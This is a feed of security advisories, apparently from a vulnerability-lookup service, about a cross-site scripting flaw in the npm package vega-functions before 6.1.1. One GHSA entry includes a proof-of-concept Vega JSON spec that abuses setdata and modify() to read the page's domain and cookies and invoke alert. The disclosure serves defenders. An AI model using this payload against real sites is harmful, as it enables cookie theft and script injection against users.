https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-08T22:15:58.442501+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-264946 EUVD-2026-264946 2026-10-08T22:15:58.445618+00:00 EUVD-2026-264946 https://cve.radiocsirt.org/vuln/fkie_cve-2025-66648 fkie_cve-2025-66648 2026-10-08T22:15:58.445664+00:00

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.

 https://cve.radiocsirt.org/vuln/ghsa-m9rg-mr6g-75gm GHSA-m9rg-mr6g-75gm — `vega-functions` vulnerable to Cross-site Scripting via `setdata` function 2026-10-08T22:15:58.445710+00:00

Affected: npm: vega-functions

### Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).

### Patches

Fixed in vega-functions `6.1.1`

### Workarounds

There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.

### Exploit Proof of Concept

Vega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

```json { "$schema": "https://vega.github.io/schema/vega/v6.json", "data": [ { "name": "table", "values": [ {"category": "A", "amount": 28} ] } ], "signals": [ { "name": "tooltip", "value": {}, "on": [ {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"}, {"events": "rect:pointerout", "update": "{}"} ] } ] } ```

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-66648 UBUNTU-CVE-2025-66648 2026-10-08T22:15:58.445774+00:00

Affected: Ubuntu:24.04:LTS: vega.js, Ubuntu:25.10: vega.js, Ubuntu:26.04:LTS: vega.js

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.